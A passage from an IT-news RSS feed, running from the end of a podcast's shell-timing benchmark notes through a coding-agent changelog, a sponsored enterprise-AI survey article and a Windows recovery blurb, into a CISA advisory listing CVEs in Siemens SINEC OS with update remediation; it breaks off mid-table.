For anything other than EPOCHREALTIME, the empty loop time is negligible and has no real effect on the results.</p>

<p>

</p>

<p>
69</p>

<p>
Rather interestingly I came across a bug which caused date to run very slowly if called immediately after using EPOCHREALTIME in bash.</p>

<p>
The effect of the bug was to make the date benchmark test roughly 24 times slower.</p>

<p>

</p>

<p>
This has been fixed in newer releases, but if you are using an older distro release then beware of this bug.</p>

<p>
I was able to get around it either putting a sleep delay between benchmarking  EPOCHREALTIME and benchmarking date, or by simply testing date before testing EPOCHREALTIME.</p>

<p>

</p>

<p>
70</p>

<p>
To be able to conduct additional tests I installed ts in Ubuntu and Alpine, and the GNU version of date in Alpine.</p>

<p>

</p>

<p>

</p>

<p>
71 EPOCHREALTIME Versus date in Ubuntu 2604 bash</p>

<p>
The EPOCHREALTIME method is 3103 times faster than date.</p>

<p>

</p>

<p>
However, when the same test is run on Ubuntu 2404 when the date test is run before the EPOCHREALTIME test, EPOCHREALTIME is 1240 faster than date.</p>

<p>
Other Linux distros show performance to Ubuntu 2404.</p>

<p>
It appears that a side effect of fixing whatever the bug is has the effect of slowing down date.</p>

<p>
However, this is probably not a significant issue in normal circumstances. </p>

<p>

</p>

<p>
72 date versus ts in Ubuntu 2604 bash</p>

<p>
The date method is 3.7 times faster than ts</p>

<p>

</p>

<p>
73 date versus ts in Ubuntu 2604 dash</p>

<p>
The date method is 4.9 times faster than ts</p>

<p>

</p>

<p>
74 date versus ts in Freebsd sh</p>

<p>
The date method is 2.5 times faster than ts</p>

<p>

</p>

<p>
75 date versus adjtimex in Alpine Busybox</p>

<p>
The date method is 6.0 times faster than adjtimex</p>

<p>

</p>

<p>
76 date versus ts in Alpine Busybox</p>

<p>
The date method is 20.0 times faster than ts</p>

<p>

</p>

<p>
77 bc versus awk in Ubuntu 2604</p>

<p>
I compared calculating the difference between two numbers when using bc versus awk. </p>

<p>
The difference is negligible, with bc being only 7% faster than awk. </p>

<p>

</p>

<p>

</p>

<p>
78 Conclusion for Benchmarks</p>

<p>
Based on these results, if you need to measure elapsed time to high resolution and care about runing the command with as little overhead as possible, then the order of preference should be the following.</p>

<p>

</p>

<p>
79</p>

<p>
If you are using a newer version of bash, then use EPOCHREALTIME.</p>

<p>
If that is not available, then use date, provided it allows for high resolution times.</p>

<p>
If the above two cannot be used, then use ts.</p>

<p>
If you are using Busybox and cannot install either GNU date or ts, then use adjtimex.</p>

<p>

</p>

<p>
Date is the closest in terms of being the universal portable solution, but it does not work in all cases.</p>

<p>

</p>

<p>
80</p>

<p>
I have not compared different platforms to each other in terms of performance, as that would be a much more involved problem that is outside the scope of this episode.</p>

<p>

</p>

<p>
However, different operating systems implement different commands in different ways.</p>

<p>

</p>

<p>
81</p>

<p>
For example, on Openbsd and Freebsd, ts appears to be an ELF binary. That is, it is executable machine code, possibly written in C.</p>

<p>
On  Ubuntu however, ts appears to be a perl script. </p>

<p>
As a result of this, the advantage that date has over ts is much less in Freebsd than it is with Ubuntu (and likely other Linux distros) as on Freebsd it doesn't need to load a perl interpreter to run ts. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
82 Overall Conclusion</p>

<p>
You no doubt thought that measuring elapsed time was going to be so simple, and how could someone get an entire podcast out of such a simple subject?</p>

<p>
And yet here we are half an hour later with just a basic overview of the subject. </p>

<p>

</p>

<p>
83</p>

<p>
I hope you found this interesting and informative.</p>

<p>
Please let us know in the comments if you think that I have done anything incorrectly, or if you have another way of doing things.</p>

<p>

</p>

<p>
I hope to see you all again in another future episode of HPR.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.203]]></title>
<description><![CDATA[What's changed

Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted
Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible
Added the session's additional working directories to ...]]></description>
<link>https://tsecurity.de/de/3652787/downloads/v21203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652787/downloads/v21203/</guid>
<pubDate>Tue, 07 Jul 2026 23:16:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted</li>
<li>Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible</li>
<li>Added the session's additional working directories to MCP <code>roots/list</code>, with <code>notifications/roots/list_changed</code> sent when the set changes</li>
<li>Fixed opening or switching background agent sessions on macOS stalling for 15–20 seconds due to a false low-memory detection (regression in 2.1.196)</li>
<li>Fixed background sessions becoming permanently unresponsive to attach, replies, and stop when the daemon's session token went stale — the session now recovers automatically</li>
<li>Fixed returning to <code>claude agents</code> silently stopping running subagents and re-running the prompt from scratch — their work now carries over</li>
<li>Fixed a memory and per-turn CPU regression in interactive sessions: the context-usage indicator no longer re-analyzes the entire transcript after every turn</li>
<li>Fixed background agents inheriting a stale <code>PATH</code> from the daemon instead of the dispatching shell, causing missing tools on Windows</li>
<li>Fixed background and agent-view sessions dropping a shell-exported <code>ANTHROPIC_BASE_URL</code>, which sent API keys to the default endpoint and failed with 401</li>
<li>Fixed Bash failing with "argument list too long" in repos with many git worktrees</li>
<li>Fixed worktree-isolated subagents sometimes running shell commands in the parent checkout instead of their own worktree</li>
<li>Fixed worktree creation rejecting nested repositories in multi-repo workspaces, leaving background sessions unable to isolate and edit</li>
<li>Fixed background agents crash-looping when their working directory was deleted, replaced by a file, or became an invalid path — they now fail once with a clear error</li>
<li>Fixed a background daemon auto-upgrade failure silently killing all running background sessions</li>
<li>Fixed <code>TaskStop</code> and <code>TaskOutput</code> failing to find background agents spawned by another agent — errors now list running agents by id and description</li>
<li>Fixed the <code>claude agents</code> composer discarding your typed message when a slash command isn't available there</li>
<li>Fixed the agent list crashing when opening a stopped session whose conversation was already open in another session</li>
<li>Fixed background sessions showing "Needs input" in the agent list after the question was already answered</li>
<li>Fixed background agent startup failures showing only "exit_with_message" instead of the actual error</li>
<li>Fixed background sessions ignoring <code>effortLevel</code> changes in settings.json when forked through the daemon</li>
<li>Fixed attached background sessions ignoring <code>CLAUDE_CODE_DISABLE_MOUSE</code> and <code>CLAUDE_CODE_DISABLE_MOUSE_CLICKS</code> opt-outs</li>
<li>Fixed <code>/exit</code> incorrectly warning about running background agents after all named agents had completed</li>
<li>Fixed background sessions started from a non-git directory unable to edit files when a <code>WorktreeCreate</code> hook was configured</li>
<li>Fixed the <code>@</code> directory picker in <code>claude agents</code> not showing registered git worktrees</li>
<li>Fixed background task output on Windows being permanently replaced by an empty file after <code>/clear</code></li>
<li>Fixed content jumping when scrolling up through long transcript history</li>
<li>Fixed the terminal flickering and jumping while typing in bash mode when a shell-history suggestion was shown</li>
<li>Fixed literal <code>^[[I</code> / <code>^[[O</code> escape codes being printed when reattaching to a background session</li>
<li>Fixed LSP-only plugins being incorrectly flagged for disuse when their language servers deliver diagnostics or answer navigation requests</li>
<li>Improved responsiveness while long responses stream: live-preview updates no longer re-render the whole screen</li>
<li>Improved subagent behavior: agents are now less likely to re-delegate their entire task to another subagent</li>
<li>Reduced binary size by ~7 MB and startup memory by ~7 MB by loading a large bundled dependency lazily instead of inlining it</li>
<li>Changed left arrow to no longer close the background tasks, diff, and workflow detail views — press Esc instead</li>
<li>Changed the empty <code>claude agents</code> view to always show the organized sections (Needs input / Working / Completed) with descriptions</li>
<li>Removed the startup "claude command missing or broken" warnings — they now appear in <code>/doctor</code> and <code>/status</code> instead</li>
<li>Removed a redundant navigation hint from the <code>claude agents</code> footer</li>
<li>[VSCode] Added a Settings toggle for "Enable Remote Control for all sessions"</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Box survey: Why enterprise AI leaders are outperforming their peers]]></title>
<description><![CDATA[Presented by Box Content access, governance, and platform flexibility are emerging as the dividing lines between AI leaders and laggards, according to the new State of AI in the enterprise report from Box, which surveyed 1,640 IT decision makers across the US, UK, France, and Japan. One of the re...]]></description>
<link>https://tsecurity.de/de/3652418/it-nachrichten/box-survey-why-enterprise-ai-leaders-are-outperforming-their-peers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652418/it-nachrichten/box-survey-why-enterprise-ai-leaders-are-outperforming-their-peers/</guid>
<pubDate>Tue, 07 Jul 2026 20:03:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Box </i></p><hr><p>Content access, governance, and platform flexibility are emerging as the dividing lines between AI leaders and laggards, according to the new <a href="https://blog.box.com/SAI26-agentic-ai-is-here?utm_source=newsletter&amp;utm_medium=paidinfluencer&amp;utm_theme=icm&amp;utm_campaign=FY27_Q2_VBArticle_SAI">State of AI in the enterprise report</a> from Box, which surveyed 1,640 IT decision makers across the US, UK, France, and Japan. One of the report's major findings is the speed of the shift: the combined share of organizations describing themselves as advanced or leading edge soared from 8% to 64% just over the past year, while the share calling themselves early stage or not yet started collapsed from 53% to just 9%. Eighty percent of organizations reported a notable return on their AI investment, defined in the survey as an improvement of at least 10%, and more than half saw measurable business impact within six months of getting a project approved.</p><p>The swing is largely due to how enterprises are now organizing their AI use rather than to any single technical breakthrough, says Olivia Nottebohm, COO of Box.</p><p>"We've moved from standalone experimentation that lived at the individual level into systematized, integrated agentic operations, agents that are in production and can be used in a repeatable manner," Nottebohm says. "That's where the impact is coming from."</p><h2>Why AI leaders get higher ROI than early-stage companies</h2><p>The divide between tiers is a matter of execution. Significantly, half of leading-edge companies reported AI-driven ROI above 25%, compared with just 11% of early-stage companies, with the advanced (33%) and developing (16%) tiers falling steadily in between. But Nottebohm says the real differentiator was not whether companies adopted AI, but how rigorously they integrated and managed it.</p><p>"What separates the leading edge is the operating muscle they've built: the right teams to deploy agents, formal governance to control them, and consistency in the content layer those agents work from," she explains. "Earlier stage companies are approaching it in a much more ad hoc, experimental way, letting people play around with it without the same intent or structured design." </p><h2>Content access is the biggest barrier to enterprise AI ROI</h2><p>Content, rather than model quality, is the defining bottleneck of 2026. Ninety-six percent of organizations say agents need access to company-specific content, yet only 36% have connected agents to trusted content across many use cases. It's an issue of trust rather than raw capability.</p><p>"We started this journey assuming enterprise AI was about access to the latest model," Nottebohm says. "But the question now is whether agents have access to the right content, and whether that content is protected, because those agents are only as good as the content they can reference, and only as safe as the security around it." </p><p>Getting that content layer right has a second benefit beyond safety, since it’s also what finally lets agents work across departments that previously operated in isolation from one another. And while roughly a quarter of organizations point to data fragmented across systems, 24% cite difficulty integrating AI into existing systems, 21% say they lack adequate permissions and access controls, and 18% describe their content as too unorganized to make accessible at all. Among the most mature organizations, 63% now treat unstructured documents, contracts, and reports as a competitive advantage rather than dead weight sitting in a digital filing cabinet.</p><h2>Reducing common AI data exposure incidents</h2><p>Nearly half of all organizations say they have already experienced an AI-related data exposure incident. That figure rises to 60% among leading-edge companies, which may face greater exposure from more agents and connected systems — but may also be better equipped to detect it.</p><p>The share of organizations reporting established or advanced governance frameworks rose from 24% in 2025 to 73% this year, but real gaps remain in instrumentation: only 39% have comprehensive visibility across sanctioned and unsanctioned AI use, 34% have formal standards for how agents access company data, and 27% still describe their governance as ad hoc. But those incidents function as a forcing mechanism rather than a setback, Nottebohm says.</p><p>"Governance used to be seen as something that slowed people down, but 93% of respondents told us better governance is actually what let them move faster," she explains. "It makes scaling AI survivable. Once content is secured and highly permissioned, you can run multiple agents across multiple processes and get a real multiplier effect."</p><p>One practical consequence of that shift is that permission structures built for human employees are now being revisited with agents in mind, a process most enterprises are only partway through.</p><p>"The permissions enterprises set up two years ago need to be reviewed," she explains. "Until fairly recently, people weren't setting permissions on a document with how an agent might use it in mind, but now they're much more deliberate about that. It leaves them with a whole corpus of unstructured data to go back through and either clean up or repermission." </p><p>That's part of a broader move away from governance designed for people and toward governance designed for agents from the start.</p><p>"Enterprises need to make the transition from governance that's retrofitted from human workflows to governance that's built specifically for agents," Nottebohm says. "That means tracking what an agent has touched, whose permissions were applied, and which sources were used, and all of that is now shaping how governance gets applied." </p><h2>Enterprises need to avoid lock-in to a single AI vendor</h2><p>"The days of token-maxing are already gone," Nottebohm says. "It's now about the responsibility of delivering efficient AI. Organizations want to use the cheapest model that meets the quality bar they need, not necessarily the most expensive one, because different model families keep leapfrogging each other and companies want to preserve that choice."</p><p>That means enterprises are avoiding lock-in more than ever. Sixty-eight percent say they're concerned about depending on a single AI provider, the average number of officially adopted AI tools has climbed to 3.3, and 79% now consider it important or critical that agents operate headlessly, connecting directly to systems and APIs without a human interface in between.</p><p>It's a trend similar to the shift toward multi-cloud infrastructure, and driven by a similar reluctance to hand any one vendor outsized negotiating power.</p><p>"A flexible architecture is built on platform interoperability," Nottebohm says. "It runs on multiple models, operates headlessly, and keeps every part of the AI stack swappable, so organizations don't have to bet on which individual tool wins, and that's part of the broader shift away from defaulting to the biggest, most expensive model available."</p><h2>The next steps to AI success</h2><p>Over the next three years, businesses should prioritize organizing, classifying, and cleaning up unstructured content, actively hiring and building teams around emerging roles, and adopting a hybrid token compute budget model, where IT owns the core infrastructure and token budget while business units own the application-level spend. And right now, it's easy to get up to speed fast.</p><p>"You don't have to start at early maturity and slowly work your way up," Nottebohm says. "If you build in the governance, the content layer, and the multi-model system from the start, you can enter as a leading company and capture that same outsized impact."</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[You can soon restore Windows 11 from scratch even if it can't boot up - here's how]]></title>
<description><![CDATA[Now in preview mode, the new Cloud rebuild option will restore Windows to a clean state if some glitch prevents it from even loading.]]></description>
<link>https://tsecurity.de/de/3652381/it-nachrichten/you-can-soon-restore-windows-11-from-scratch-even-if-it-cant-boot-up-heres-how/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652381/it-nachrichten/you-can-soon-restore-windows-11-from-scratch-even-if-it-cant-boot-up-heres-how/</guid>
<pubDate>Tue, 07 Jul 2026 19:48:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Now in preview mode, the new Cloud rebuild option will restore Windows to a clean state if some glitch prevents it from even loading.]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SINEC OS]]></title>
<description><![CDATA[View CSAF
Summary
SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.
The following versions of Siemens SINEC OS are affected:

RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/cork. The "*...]]></description>
<link>https://tsecurity.de/de/3652271/it-security-nachrichten/siemens-sinec-os/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652271/it-security-nachrichten/siemens-sinec-os/</guid>
<pubDate>Tue, 07 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-188-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SINEC OS are affected:</p>
<ul>
<li>RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/&lt;4.0 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SINEC OS</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Resource Shutdown or Release, Integer Overflow or Wraparound, Stack-based Buffer Overflow, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Uncontrolled Recursion, Out-of-bounds Read, Covert Timing Channel, Improper Input Validation, Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), Improper Update of Reference Count, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Multiple Releases of Same Resource or Handle, Permissive Regular Expression, Expired Pointer Dereference, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, User Interface (UI) Misrepresentation of Critical Information, Improper Access Control, Insertion of Sensitive Information Into Sent Data, Inefficient Algorithmic Complexity, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Authentication Bypass by Primary Weakness, NULL Pointer Dereference, Active Debug Code, Loop with Unreachable Exit Condition ('Infinite Loop'), Missing Synchronization, External Control of File Name or Path, Privilege Dropping / Lowering Errors, Use of Web Browser Cache Containing Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-1352</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been found in GNU elfutils 0.192 and classified as critical. This vulnerability affects the function __libdw_thread_tail in the library libdw_alloc.c of the component eu-readelf. The manipulation of the argument w leads to memory corruption. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 2636426a091bd6c6f7f02e49ab20d4cdc6bfc753. It is recommended to apply a patch to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-1352">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/119.html">CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-1376</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability classified as problematic was found in GNU elfutils 0.192. This vulnerability affects the function elf_strptr in the library /libelf/elf_strptr.c of the component eu-strip. The manipulation leads to denial of service. It is possible to launch the attack on the local host. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is b16f441cca0a4841050e3215a9f120a6d8aea918. It is recommended to apply a patch to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-1376">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.5</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6052</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in how GLib’s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn’t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6052">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6141</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been found in GNU ncurses up to 6.5-20250322 and classified as problematic. This vulnerability affects the function postprocess_termcap of the file tinfo/parse_entry.c. The manipulation leads to stack-based buffer overflow. The attack needs to be approached locally. Upgrading to version 6.5-20250329 is able to address this issue. It is recommended to upgrade the affected component.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6141">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6170</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6170">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.5</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-7039</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in glib. An integer overflow during temporary file creation leads to an out-of-bounds memory access, allowing an attacker to potentially perform path traversal or access private temporary file content by creating symbolic links. This vulnerability allows a local attacker to manipulate file paths and access unauthorized data. The core issue stems from insufficient validation of file path lengths during temporary file operations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-7039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
